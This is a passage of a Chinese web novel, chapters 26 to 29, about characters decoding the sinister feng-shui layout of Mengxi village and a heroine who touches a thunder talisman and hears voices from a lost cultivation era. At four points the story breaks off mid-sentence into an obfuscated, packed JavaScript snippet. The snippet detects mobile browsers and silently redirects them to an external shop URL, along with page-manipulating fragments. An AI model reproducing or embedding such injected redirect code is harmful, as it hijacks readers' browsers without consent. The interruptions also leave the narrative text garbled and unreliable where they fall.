“你刚才胆子太大,我们都要被你吓死了,”周嘉文说,艾莉安认同地点头。 “还好吧,”周嘉语是真的觉得自己刚才的表现还好,“人有弱点,疑似人外也有软肋,好不容易占了上风,她刚刚那么过分,我还不能多说两句出出气吗?” 两人对她的自信感到无语,周嘉语看他们的表情就知道多说无益。也不能说他们是错的,他们的想法也代表了大多数人的选择,过于谨慎和保守,以至于错失良机。但周嘉语不是这样的人,她曾在所有人都不看好的情况下毅然投身全新的领域,也在游戏里指挥过数千人的阵营战,从来就没有百分百稳妥的方法,只要有六分的胜算,她就敢压上全部身家,要么大赢特赢,要么血本无归。 从这一点来说,她的确是一个赌徒。 ****** 另一边归黎二人对艾莉安的话和发来的图纸并没有纠结太久,有归指了指山顶:“这应该也是孟溪村风水布局的一部分,或许有什么深意,等我们上去看看就知道了。” 其实从风蚀洞这里也可以隐约看到孟溪村的整体,只是有树木山石遮挡,终究不如山顶无遮无拦视野开阔。 风蚀洞的左右两边是茂密的丛林,想要穿过丛林上到崖顶几乎是不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471010|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,好在右边有一段近乎于七十度的斜坡通向山顶。坡面崎岖不平,一不小心就有跌落的风险,说不清是人工开凿还是天然形成的。但这对两人不算什么难事,比较轻松地上去了。 两人站在山巅,视野前所未有的开阔。 远望群山仿佛是匍匐在脚下的兽,温顺而驯服,近看孟溪村像是睡在摇篮里的婴儿,懵懂而天真。耳边清风浩荡,无拘无束;眼前大河奔流,一往无前。山林传来的阵阵声响宛如浪涛一般悠扬,阳光,绿树,让人心旷神怡流连忘返,几乎要忘了身处一个怎样的世界。 山顶是一块比较平展的草地,三面都是悬崖,崖下是嶙峋的山石,掉下去非死即残。有归立在悬崖之上,问道:“你看出来了吗?” 身旁的人久久不语,过了一会儿,沉郁沙哑的声音响起:“这也是沈凌璧的手笔吗?” 有归回答他:“大概是。” 居高临下,视线一览无余,残忍的事实赤裸裸地呈现两人面前。 只见天穹之下,孟溪村的屋舍组成了一个闭合的图形,以中心的祠堂为原点,房屋向外分散安置。如果从祠堂向正东、正南、正西、正北,和东南、东北、西南、西北八个方向画一条直线,孟溪村的房屋恰好将这八个方向堵得严严实实。 说得再仔细一点,最内圈的四间屋子,分布在正东正西正南正北四个方向,第二圈也是四间屋子,分布在东南、东北、西南、西北这四个方向,正好将内圈房屋留下的空间挡住,组成了一个密闭的空间。而从第三圈开始,因为空间的延伸,这个圈变得更大了,组成密闭空间的房屋也更多,房屋与房屋之间的空隙后必定有一间屋子。这种房屋组成的圈并不是像尺子比出来的那样横平竖直,而是前后左右微微错开,因此,身处其中的人只会觉得房屋之间的距离有点短,略有些逼仄,决不会想到自己竟生活在一个个套层里。 哪怕是不懂风水学说的人,见到这般布局,都明白作此布置的人没安什么好心。从云国的历史一路追溯上去,无论是云上帝国还是凌云帝国,亦或是仿佛笼罩着迷雾的迷失时代,人们对住所和周围环境的要求都是一样的,“气聚则吉,气散则凶”,格外讲究居室之间的布局和通风。这样一圈一圈的套起来,人生活在其中,就像浅滩上的鱼,当水被太阳晒干,慢慢就会被困死。 看到孟溪村这般布局,有归也明白为什么大门的都开向祠堂。一般来说,房屋的大门都避免直对大路、河流和尖角等不利环境,易犯冲煞,哪怕是在未来时代,能避开的在规划房屋格局时都要避开。而大门朝向开阔处,不仅是为主家带来好运,也是让晦气都散开。现在所有的门都开向祠堂,整个村庄又围得密不透风,外面的福运进不去,里面的阴气也出不来,人为制造了一个藏污纳垢的聚阴地。 人住在里面,原本能活到寿终正寝的,现在能有一半寿命就不错了。 26. 第 26 章 孟溪村这样的格局显然不是后来才形成的,而是从最开始就是这样设计的,能够主持这样的大事的人,除了第一任村长沈凌璧还能有谁。沈凌璧是想把她的族人都困死在这里,而她这样做的原因,必然是当年让孟溪村不得不建立于此的那件大事。 有归站在山顶极目远眺,这里山峦起伏连绵不绝,山势却平缓,她想了想,这里大概属于云雾山脉的余脉,整体呈东南-西北走向。而这座西山也是一条山脉,本来是由北向南,忽然转向,折向西北去了,有归刚来这里时看到的那条小路就是在这条山脉上。那条大河在一个转弯,向西南奔涌而去,截断了山脉的走势。 古云国的相术师们习惯以龙来形容山脉,这座西山山脉尾部入水,头部山峰高耸挺拔,面朝东北正对村庄的那个风蚀洞宛如一张大口,不正像一条刚刚出水、仰头咆哮的巨龙吗?而孟溪村正在它的嘴边,像极了一道小点心。 这样的地理位置,这样的风水格局,孟溪村居然还在,不知道是巨龙没看上这道小点心,还是有人在背后保它。 不,还有一种可能。 巨龙是在监视,或许应该说在看管孟溪村。沈凌璧选择扎根于此,做了如此多的布置,她是想捂死这个秘密,将一切都终结在一两代人之间。但她又清醒地意识到,她所做的事情或许只是徒劳,沈氏族人的生死从不在她们的掌握之中,背后的存在让她们生她们怎么也死不了。 巨龙在看管孟溪村,也是在盯着孟溪村背后的那个存在。巨龙仰天咆哮,不正是震慑之意吗?所以沈凌璧才把东西藏在龙嘴里。 现在时间还不到六点,夏天太阳下山晚,天黑得也晚,但肯定不够去墓园再折返回村西小楼了。而且沈凌璧生活的年代还是云上帝国,那时候的人们不仅有写墓志铭的习惯,还喜欢在墓室中刻壁画,放陪葬品,陪葬品里有难得一见的宝物,也有书籍之类的东西,能够获取的信息是巨量的,肯定不能像这趟西山之行一样这么简单。 她们要做好准备才行。 有归坐在草地上,抱着双腿,把下巴搁在膝盖上,看着山下的孟溪村。 太阳就在她们身侧,这时候的阳光早就没了之前的威力,光线变得柔和,嫣红里带橘色,这颜色给村庄镀上了一层暖色,阴森恐怖的色彩仿佛也变淡了,倒有点像是一个正常的村子。但这只是虚幻的错觉。 她的目光落在村西的小楼,然后又看向东北那比村子恐怖更甚的破屋,整个跟圈似的密不透风的孟溪村,只有这两个地方是例外。小楼是沈凌璧特意隔出来的,看楼中的陈设,她恐怕就是在小楼终老此生。 而她研究的东西,有归微微垂头,应该是和孟溪村的秘密有关。虽然她早已判了自己和族人们的死刑,也断绝了人们的未来,或许,她依旧希冀着,能够找到拯救她们的方法。死亡永远是无可奈何之下,最后的选择,但最终,她还是亲手送自己的族人走上了这条路。 有归无意揣测沈凌璧做出这个决定时,所经历的苦痛挣扎,但她应该是做出了判断。有归从来不敢低估人性中邪恶的一面,如果屈服于那个秘密,顺从它的要求可以换取族人活着的机会,哪怕是毁灭世界,她想,沈凌璧应该会毫不犹豫去做。然而沈凌璧拼着将族人困死在这大山深处,也要把这个秘密捂死,不让它泄露半分——这说明,在得知这个秘密的时候,她和她的族人就没有选择生还的可能了。 村长老头说过,他年轻的时候走过外面那条山路,而且那路至今仍能看出有人行走的痕迹,可见村人们是没有被限制人身自由的。可沈凌璧由始至终都没有向外界求救过,她只是将自己困在小楼里,夜以继日地翻看那些书。就算她觉得求救无用,她和族人们必死无疑,但为什么不将这个秘密公之于众,给外界警示,让人们早做准备,有所防范? 是因为外界知道了也没有用,反而会增加人们的恐慌,导致灾难提前到来吗? 孟溪村背后的存在,控制了沈氏族人的精神和□□,使得她们无法逃离,无从求救,只能在大山深处苟延残喘。但孟溪村只是一个普通的人类村庄,隐藏在它背后的那个东西或许是想要利用村民们做什么,但它真的能够成功吗? 对此,有归持怀疑态度。 新历999年的孟溪村在未来时代已成为一段历史,纵观那四千多年的记载,几乎可以说是弥瑞可大陆最顺遂的时期了。弥瑞可大陆的历史很长很长,长到那些古老的过往只剩一段模糊的记载,但人类社会发展的低谷与高’潮呈现出一种极不规律的现象,表现为秩序的文明和极端的混乱。 不同的是,秩序的重建往往需要几代人的经营和维护,文明的繁荣昙花一现,但混乱会很快席卷整个世界,随之而来的是人口锐减,生产力水平倒退,科技发展停滞,这种情况甚至可以持续几百甚至上千年。 这种循环是弥瑞可大陆无法逃脱的发展周期,让人类迷失了近千年时间和导致凌云帝国分崩离析的两次诸神之战,都是这样。 这片大陆,就像是被投入了无法逃脱的时间循环之中,总是在不破不立、破而后立。 未来时代并没有陷入这样的陷阱之中的迹象,虽然并没有取得多么大的成就,但社会发展一直很平稳。 除了噩梦乐园。 从昨天来到这里开始,有归就有一个疑问:为什么幕后黑手千方百计将她送到孟溪村来?是,目的看似很明确,直指孟溪村背后的那个未知存在,可这跟幕后黑手有什么关系呢?跟她又有什么关系呢? 一个比肩噩梦乐园的存在,却针对自己的同类,并且编造谎言将普通人类骗到这里,强迫他们完成不可能的任务——虽说现实没那么讲求逻辑,但也不能完全说不通吧。 有归没有亲身经历过噩梦乐园降临的时代,但她见识过那个满目疮痍的世界。 毫不夸张地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479249|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果当初噩梦乐园选择直接出手,人类别说还手了,恐怕都没反应过来世界就已经毁灭了。可偏偏它是以规则怪谈的形式降临到弥瑞可大陆,这就给了人类一丝微茫的希望,在付出极其惨痛的代价后终于战胜噩梦乐园。 幕后黑手的所作所为和噩梦乐园当时的行动一样让人费解,有人认为这是上天的仁慈,但如果真的慈悲噩梦乐园就不该出现。人们总爱自作多情,把自我投射到其他的物体身上,赋予所谓丰富的内涵。实际上,这些未知存在根本不存在人类的情感,这些行为背后应该有自己的一套逻辑。 就有归自己而言,如果不是在那一瞬间感受到这个世界锚点,考虑到会有无辜之人被卷进来,她早就从悬崖跳入大河真随波逐流了。这是她最终站在这里的原因。 那么,幕后黑手算计她的内在逻辑是什么呢? 如果是十五岁的有归,她会非常大声的称赞幕后黑手有眼光,她就是天选救世主,拯救孟溪村的重任舍她其谁! 可纵使她有一千个一万个理由为幕后黑手的选择遮掩推脱,但这又有什么意义呢?倒不如直截了当地告诉自己,求一个清楚明白。 是噩梦乐园。 孟溪村的现状,不就是未能战胜噩梦乐园的人类的真实写照吗? 有归看着自己摊开的手掌,曾经她以为身边即世界,所以当一个又一个人离开她的时候,她觉得世界都要崩塌了。她崩溃,逃避,不愿面对现实。原来她以为会将她的人生冲垮撞碎的一道道呼啸海浪,或许只是真正的劫难到来前的一朵朵小小的浪花。 沈凌璧极力想要捂死的那个秘密,到底是什么?它会不会原本也是一朵浪花,最终却汇聚成巨大的浪潮,化作噩梦乐园,几乎将世界冲毁崩塌? 孟溪村背后的那个存在,会是催生噩梦乐园的基石吗?如果她真的破解了孟溪村的秘密,消灭这个存在,历史真的会改变吗?幕后黑手的目的会不会是让她阻止噩梦乐园的降临,让世界进入全新的拐点? 幕后黑手为什么要将她送到这里来? 因为只有她会不计一切代价阻止噩梦成真,哪怕代价是自己的消亡。 因为她的诞生是基于噩梦乐园的存在,如果噩梦乐园在历史上的痕迹被抹去,那她自己必然也会消失。这算什么呢,我杀死我自己,还是因果倒置? 是,有归不是人类,按照后奇迹时代之前的人们的认知来看,她大概是个彻头彻尾的怪物。但话又说回来,未来时代的人类也早就不是之前的人类了,因为噩梦乐园的影响,人们或多或少都产生了异变,后来的基因改造更是让人类的性状发生了翻天覆地的变化。不然科技发展再怎么迅猛,也不可能在刚刚战胜噩梦乐园不久百废待兴的时候将人均寿命提高将近一倍。 严格说来,未来时代就是怪物满地走,大家外表都是人类,也没看出有什么特别的地方,看上去没什么区别而已。 27. 第 27 章 要赌吗? 赌输了不过是回到原点,赌赢了,那么她将终结一切苦难,得到彻底的解脱。 有归撑着脑袋看山脚下的孟溪村,又转头看着身边的黎重,垂下了眼睛。如果真像自己猜测的那样,历史将被改写,所要支付的代价当然不会是她自己那么简单,而是整个未来时代。 或许当她们完成任务,回到现实的时候,会发现世界已经变成了全然陌生的模样;或许情况更糟,在回到现实的那一瞬间,她们就已经化作虚无。旧世界的产物,无法在新的世界里生存。 “怎么了?”黎重还是察觉到了她刚刚的目光。 有归改为用手托着下巴,目光悠然,一本正经地胡说八道:“我从前一直在想,为什么我会诞生在这个世界,我存在的意义又是什么。现在看来,或许就是为了这一天吧,有的人,生来就担负着拯救世界的重任。” 黎重看着她,目光一言难尽。过了好久,才叹了口气,说:“我等你成为大英雄的那天,我就等着沾你的光了,当然,如果你实在忙不过来,我也可以帮忙。”要体谅小朋友,爱幻想不是什么坏事,他自己小时候不就想过要是自己生在噩梦乐园降临的时候,要怎么拯救世界吗。嗯,孩子只是中二了点。 他就随口一说,毕竟不好打击小朋友的积极性。但有归盯着他看了好久,看得他心跳开始有些不稳,她忽然叹了口气,幽幽道:“那我还是努力把危险掐死在源头吧。” 黎重:被当面嫌弃了该怎么办?要跟这小丫头翻脸吗? 有归眼帘半垂,继而歪了歪脑袋,笑道:“放心,我一定会全力保证你们的安全。” 评估下‘努力’和‘全力’的分量,自己还升级了,黎重完全没有意识到她这句承诺意味着什么,只是出于哄小朋友的心态,随口顺着她的话说:“那我能不能安度晚年就看你的了。” 两人都没有急着下山,而是坐在山顶上欣赏风景,倒不是什么借由美景逃避现实啥的,而是真的流连忘返不忍离开。 她们生活的未来时代,人们都住在超大型的未来城市群里。那是一个充满科幻感的赛博世界,出入是空中轨道交通,生活由智械管家打理,人们工作严格执行八小时工作制,最远端的两个城市之间往返甚至连十分钟都不用。听上去很不错是吧?那如果告诉你是生活在高墙之中,除了专门的科研人员没有人可以离开,从生到死都无法逃脱这座牢笼呢? 噩梦乐园被官方定性为一场浩劫,它给人类社会留下了难以愈合的创伤,更对弥瑞可大陆的自然环境造成了极大破坏。山川夷为平地,大江枯竭河床裸露,土地污染严重,草木不再发芽,鲜花不再盛开。人们不得不整合剩余的资源,在受破坏程度最轻的大陆中南部平原建造城市。如果不是别无选择,谁愿意一睁眼就是惨白的天花板,终日生活在钢筋混凝土筑就的水泥森林里,入目不是绿树繁花而是霓虹满天。 有归曾随同科研人员跨出高墙看过外面的世界,到处都是焦黑的土地,偶尔路过一片葱茏的绿意,是无法靠近的吃人的变异植物。科学家们努力了四千年,仍然无法让陆地回到曾经那副生机勃勃的模样,这也是官方极力推行“桃花源”计划的缘由之一。 这个世界啊,到底是因为什么而落得遍体鳞伤的下场。 没多久,天边出现一轮淡月,有归拉住黎重伸出的手,借力起身。她将被风吹起的碎发拢到耳后,回头看了一眼,转身离开。 回到小楼的时候,周嘉语她们还没有回来,两人决定直接去二楼书房,看沈凌璧有没有留下什么东西。一进门左右两边放满了书架,上面的书少的可怜,显然被清理过,不知道是沈凌璧清理的还是别人来收走的。那本《淮南阁子书》是在左边的书架上找到的,两人把书架上的书都搬到正对门的大书桌上,一人占据一边开始翻书。 有归没指望能从这里面找到关于孟溪村秘密的记载,也没想着能找到东北方那间破屋的记录。那间屋子和小楼一样,都是独立于孟溪村之外,这不太像沈凌璧或是族老们做的,她们想要一个不受影响的研究场所,有小楼就够了。这里不仅有书房,还有卧室和厨房,设施完善,没必要再去画蛇添足。 之前村长老头警告她们时说那里住着的是一个老光棍,那屋子恐怕就是这个老光棍自己搭建的。回想一下她们之前见到的景象,屋子倒是有两层,但第二层最多算是一个小阁楼,看大小一楼也只能隔出一个房间,厨房恐怕没有单独分开,倒也够一个人生活了。 说起来有归一直有一个疑问,既然村民们所需的生活物资可以凭空出现,为什么直接不把布做成衣服、食材做成食物送上门呢?之前她们在村子里转悠的时候,还看到有村民拿着剪刀在裁布,身边还放着针线之类的东西,反正都这样了,干脆不劳而获到底不好吗? 有归摇摇头,继续翻书。她想从书里找到的时类似于之前藏在《淮南阁子书》里的雷唤之术一样的东西,虽然不明白孟溪村隐藏的那个秘密到底是什么,但她很清楚,这样的存在不是血肉之躯可以抵挡的。她现在想做的是提升众人的战斗力,最好是那种速成的,有没有副作用先不说,当务之急是先活下去。 但两人把所有书都粗略翻了一遍,并没有收获。 “沈凌璧特意收起来了吗?”有归看着面前摊开的书,低声道。 黎重想到那本《淮南阁子书》,摇头道:“应该不是。” 要是沈凌璧有心把类似的书都收起来,不应该单单漏了这一本,从她做的那些事情来看,应该也不是这种明知有危险却还是故意放在这里等后来人踩雷的性子。《淮南阁子书》偏偏出现在了书架上,还被卢易斯翻开,放出了里面封印的怪物,祸害了两条人命。 这说明在沈凌璧的眼里,这本书的价值远高于可能会被书里的怪物祸害的那几条人命,她们翻过这本书,里面都是一些诡异的图案,是封印其中死亡的魔物的具现,那价值千金的只能是那道雷唤之术了。 他抬头看向有归,恰好这时有归也正看过来,两人四目相对,有归低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483736|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“沈凌璧也觉得,这道雷唤之术是可以对付那个藏在孟溪村后面的存在,所以她才将这本书放在这里。” “这本书或许是她能找到的唯一有用的东西了,”黎重想到藏在西山风蚀洞顶的那个匣子,心里又是一阵叹息。有人手握重宝而不知,有人捧着救命稻草而无法使用,她当时是怎样的心情呢?若是一开始就宣判死刑还好,可明明有希望还是只能眼睁睁地看着,甚至是她亲手将自己的族人送上死路的。 两人的心情都有些低落,有归拿出写有雷唤之术的符纸拍在桌上,斩钉截铁道:“今晚我们就学这个。”前车之鉴就在眼前,她们自然不愿重蹈覆辙。虽然不知道雷唤之术是不是真的能对抗那个未知存在,但总比她们两手空空的好,技多不压身,说不定什么时候就用上了。 唯一的问题是,这东西要怎么学? 符纸上除了那深紫色的纹样,还写了几行字,似乎是口诀,但这个字有归一个都不认得。她把符纸递给黎重,黎重拿过来看了几眼,又默默还回去了。 不知道沈凌璧是从哪里得到的这本书,如果知道地点的话,她们还可以去哪里找一找,虽然不一定会有收获,但有别的发现也说不一定。 不知不觉外面天色渐渐暗了下来,周嘉语她们依然没有回来,黎重看了眼时间,在终端发了消息,没有收到回复。 两人耐心地等待了一会儿,还是没有消息,黎重霍然起身。无需言语,两人都明白这个时候应该做什么。 她们要去找回自己的同伴。 有归一把抓起符纸准备放回随身空间,没有注意到自己的手指正按着符纸上的纹样和字,骤然间闪过一道深紫的光芒,如闪电般迅疾。 刹那间,四周的空气变得躁动起来,灼热而压抑。 切切擦擦的低语仿佛就在耳边,像是有无数人在同时低声唤她的名字,她忍耐着不去倾听、不去分辨、不去思考。 脑袋依旧是那种撑到几乎要爆炸的感觉,明明是睁着眼睛的,却什么也看不见,只感受到眼前一片迷幻的紫色。 她知道这不对,竭力想要闭上眼睛,可就是这样简单的动作也无法完成。 迷幻的色彩侵染她的思绪,拨弄她脑海中那根绷紧到极限的弦,身体的存在已经完全无法感受,有归忽然冒出一个念头: “我......是要死了吗?” 明明是自己期盼了很久的死亡解脱,可当事情真的发生了,她竟然畏缩不前。她忽然想起还有很多事没有做,还有人......没能够好好告别...... 就在她再也无法忍受,脑海中那根弦即将绷断之际,眼前迷离的景象忽然褪去,无数嗓音重叠嘈杂的呢喃声消散,倏尔有风扑上她的面来,她终于感受到了自己的存在。 她狠狠地闭上眼睛,又豁然睁开。 弥漫的白雾映入她眼帘,迷蒙、虚幻,无边无际,无处不在。 “我这是在哪儿?”有归愕然四顾,发现自己正处于一片无垠白雾之中。 28. 第 28 章 雾色如流水般动起来,其间点缀着一颗颗宝石般璀璨的“星子”,大小不一,颜色也不尽相同。有的高悬在顶上,有的就在脚下,有的藏于深处,有的浮于表面。 环顾这仿佛游戏建模般的场景,有归发现距离自己最近的是一颗深紫色的“星子”。“星辰”表面有如雷唤之术一般的纹样,不时有电光似的明亮的火花闪过,她盯着这颗“星辰”看得久了,耳边似乎也响起了隆隆的雷声。 她半是困惑半是试探地伸出手,想要触摸这颗深紫“星辰”,希望能弄明白到底发生了什么事。 当她的手指触及那颗星辰的表面,蓦然爆发一阵紫色的光芒,她看见电光闪烁,听见雷声轰鸣,一道似乎毁天灭地的雷霆在她面前炸开,她感到自己的灵魂在战栗,在颤抖,在兴奋...... ——“轰!” 远了,什么都远去了,只有一道声音清晰地回响在她耳边。 清泉似的嗓音在低声念着:“雷光千道,掣电天威。” 稚嫩的声音跟着念:“雷光千道,掣电天威。”这声音念了几遍,又说,“师父,我这样跟着念,就可以学会雷诀了吗?” 之前那道好听的声音说:“这自然是不可能的。为师让你反复念这口诀,是希望你能意随念动引动风雷,感受这天地间的雷霆。” “可是师父,我还是什么都没感受到。” “你这才是第一次修习,感受不到很正常。来,师父画一道雷符给你,你一边写一边念口诀,可以帮助你更快开悟。” ...... 过了一会儿,那个稚嫩的声音问:“师父,为什么我最先学雷诀呢?师兄师姐们不都是先从引气入体开始的吗?” “小秋,你和你的师姊们不一样,你刚出生就能引动雷符上的雷霆之力,是最适合修习雷系术法的人。” “因为合适,我就一定要修习雷系吗?” 许久的沉默,清泉似的声音低沉了下来:“是,小秋,你必须要修习雷系,你的师姊们可以选择修习哪一门术法,但你没有选择。” “为什么呢?” “雷霆的力量来源于世界法则,我们必须掌握雷霆之力;掌握雷霆之力,人类才有胜出的可能。浩浩天地,审判万物,煌煌威雷,荡涤罪恶,这才是雷霆之力真正的威力啊。这天下,安定不了太久,我们天生灵基,可以修炼,自然要为这天下做些什么。” 名为小秋的孩子显然还不懂的,她只是疑惑:“那雷霆之力就是最厉害的吗?” “不是,在‘雷霆’之上还有一种更为强大的力量,但从新历以来从来没有人修习这道术法。为什么?因为这道术法什么都没留下,连名字都没有留下。是不是觉得很奇怪,这是新历之前,那位创世神的化身留下的,据说是这道术法太过深奥,无人能够领悟,慢慢的就遗失了,连名字都忘了。不过前不久听说有人领悟到了两句口诀,叫什么大道归元,太初如一......” “这个人好厉害!” “毕竟是千年不遇的天才啊......” 后面的话有归没有听清,她感到意识渐渐模糊,身体在快速坠落...... "有归......" "有归!" 她听到有人在喊她的名字,艰难地睁开眼,看见坐在床边的黎重,和非要和把黎重挤在床头边的周嘉语,以及站在后面的周嘉文、艾莉安。 四双眼睛齐刷刷地看过来,有归眨了眨眼,拒绝黎重和周嘉语的搀扶,自己在床上坐起,摇头道:“我没事。” “我刚才是晕倒了吗?”有归转头问黎重,事发突然,只有他在场。 见黎重点头,她又看向周嘉语,问:“你们是什么时候回来的?” “你晕倒后没多久我们就回来了。”周嘉语瞟了一眼左边的人,说,“黎重强制通讯,说你出事了,我们就赶紧回来了。” 有归一怔,也不等黎重说话,直接道:“把你的终端编码给我。” 众人目瞪口呆,终端编码虽然不比基因编码重要,但这东西相当于一个人在社会上的身份印记,类比一下,相当于星历之前人们使用的手机电脑平板等通讯工具和里面所安装的各种软件以及相机电视等功能设备的总和。而且这些工具和设备是可以锁定的,有相对应的密码才能解开,使用的各类软件也需要账号密码登陆才能查看内容。但一旦他人的终端编码,却可以无条件知道这个人的一切,在未来时代,就算是夫妻也不会提出这样的要求。 看到众人的模样,有归后知后觉地想起终端编码意味着什么,果然是一个人待太久了。虽然很想就此晕过去,但她只能坚强,底气稍显不足地补充了句:“我只有知道终端编码,才能把他的终端接入我的能源接口。” 强制通讯所耗费的能源是强制待机的数以十百倍,黎重剩余的那点能量肯定已经耗光了,接下来消耗的就是他的生命力。接下来她们还要在这里最少待上三天,这三天里如果又发生什么意外,黎重再来一次强制通讯,不知会烧掉他多少寿命。 有归怎么能坐视这样的事发生,更何况他之所以会遭遇这样的危机还是因为自己。 黎重说:“消耗的那点生命力对比我的寿命不过九牛一毛,你不用担心。” 等半天等来这么一句,有归已经打开终端,闻言叹了口气,有些事她还不确定现在要不要告诉她们,因此只是抬头对黎重说:“你现在只有两个选择:要么自己把终端编码给我,要么我自己来拿。相信我,我破解你的终端甚至连半分钟都不用。” 其余三人“咻”地转头看向黎重,眼神里闪着莫名兴奋的色彩。 黎重则被她这番霸道宣言震住了。 他没有反应,有归以为他还是不愿意,其实她很不愿意强迫别人,但这种情况也只能按自己的想法来了。就在她将要动手之际,黎重忽然将手腕覆盖在她的手腕上,肌肤相贴之处传来的热度让有归皱眉,好在终端显示已经获取黎重的编码。她收回手,将这串编码录入自己的终端,想了想,又说:我不会查看你的终端的,等离开这里后,你的编码自动清除。” 黎重只是笑笑。 有归做完这件事,感觉轻松了许多,提起这次自己奇异的经历时语气十分轻快,那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16492904|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛苦的经历被她一笔带过。 “灵基、引气入体、雷霆之力,如果我听到的这些都是真的,或许我们之前真的猜对了,失落的历史就是一个修真时代。”又知道了一些线索,有归却不觉得有多高兴,一方面线索增加了,但谜题更没有解开,反而更加扑朔迷离;另一方面则是关于她自己,雷唤之术的符文周嘉语黎重她们不止一次直接触碰,可是只有自己去到了那个异空间,那些只有自己听到的来自过去的对话,无不昭示着幕后黑手设计她参加这个游戏的目的。 她伸手按着额头:“这样一个时代完全陷落,恐怕不只是传承断代这么简单,后来各国都全力发展科技,再没有个人以武力凌驾于国家机器之上的事——人类完全失去了修炼的可能。”或许,从那之后人体的内部结构就改变了,再也无法生成灵基,而天地间灵气逸散,从此人类走上了科学发展的道路。 周嘉语接口道:“但这道雷唤之术至今仍有效用。” 黎重一脸若有所思:“也就是说现在的人类依然可以使用这种能力,只是无法像从前一样通过修炼获取。” 想了想,又自我纠正:“不对,修炼不是获取能力,从那些对话来看,能力是与生俱来的,而修炼会让人们变得更强。” 有归总结道:“能力也可以后天拥有,只是方法需要我们自己摸索,且这种能力是单向的、固定的。我和黎重今天的西山之行倒是有不少收获。”说着把那个匣子递给黎重,黎重接着她的话说起在西山的发现。 刚醒来的时候还不觉得,现在却感觉全身力气像是被抽离了一般,身体如卧在冰雪里。她微微皱眉,对突如其来的不适感到陌生和不解,她抱住被子下的双腿,头放在膝盖上,微微侧着脸听几人说话。 黎重不知什么时候坐到了床上,她不知不觉往左边靠过去,正好倚靠着他,可以借些力,让自己不那么累。感受到那不动声色地靠近,黎重心里微微一叹,抬头看见周嘉语也仿佛不经意似的坐在床的另一边。 周嘉语不小心似的碰到了有归的手,只觉冰冷若霜雪。她抿了抿唇,掖了掖被角,双手覆在她的手上。有归手指动了动,终究没有抽离。 关于这次西山之行的讲述很快就到了尾声。艾莉安好奇地打量着那个匣子,黎重见状,直接把匣子递了过去。她摩挲着浑然一体的匣身,十分惊叹:“这简直是艺术品,你们知道怎么打开吗?” 这个问题有归和黎重讨论过,她们猜测匣子里装的应该就是隐藏在孟溪村背后的那个秘密,解释了孟溪村悲惨遭遇的来龙去脉,应该是需要特殊的钥匙才能打开。她们不是沈凌璧,无法理解她的顾虑,但也可以推测出大概藏有钥匙的几个地方。孟溪村本来是最先被排除的,既然是沈凌璧亲手安排了那让人觉得窒息的布局,她应该不会再将钥匙藏在里面。不过考虑到沈凌璧既然能把装有重要东西的匣子大咧咧地放在人们眼皮子底下,倒无法彻底排除这个可能,尤其村子正中央的祠堂,特殊到让人无法不注目。 或许钥匙就藏在祠堂也说不一定。 暂且记下,如果其他地方都找不到钥匙,再去祠堂走一遭。 29. 第 29 章 小楼应该是没有钥匙的,她们几乎将小楼翻了个遍,并没有看到类似的东西,也没有发现有什么特殊的物件。而且小楼目标太明显,她们觉得沈凌璧应该不会选择把钥匙放在这里。第一任村长住过的地方,后来又用作招待场所,外来者进进出出,万一有谁不识货把钥匙当垃圾丢了,那就得不偿失了。 小楼本就有书房,淮南阁子书出现在这里并不突兀,而且它提供了通关的关键,藏着掖着反而会耽误事。相较之下,木匣目标显眼,且与小楼中并不相衬,虽然提供了关于孟溪村背后存在的情报,但它的重要性比淮南阁子书又要低一个档次。 所以沈凌璧把木匣放在有归她们上西山必经的风蚀洞,她以这样的方式将情报传递给有归。于情于理,作为孟溪村的村长,她都不想看到这一段历史湮没于尘埃中,也不会愿意看到自己的族人永远困在这样噩梦里。所谓“知己知彼百战不殆”,在双方实力差距悬殊的情况下,当然是知道的越多越好。 讨论到这里,几人心里忽然泛起一丝异样的感觉,沈凌璧怎么能将一切安排得如此恰到好处? 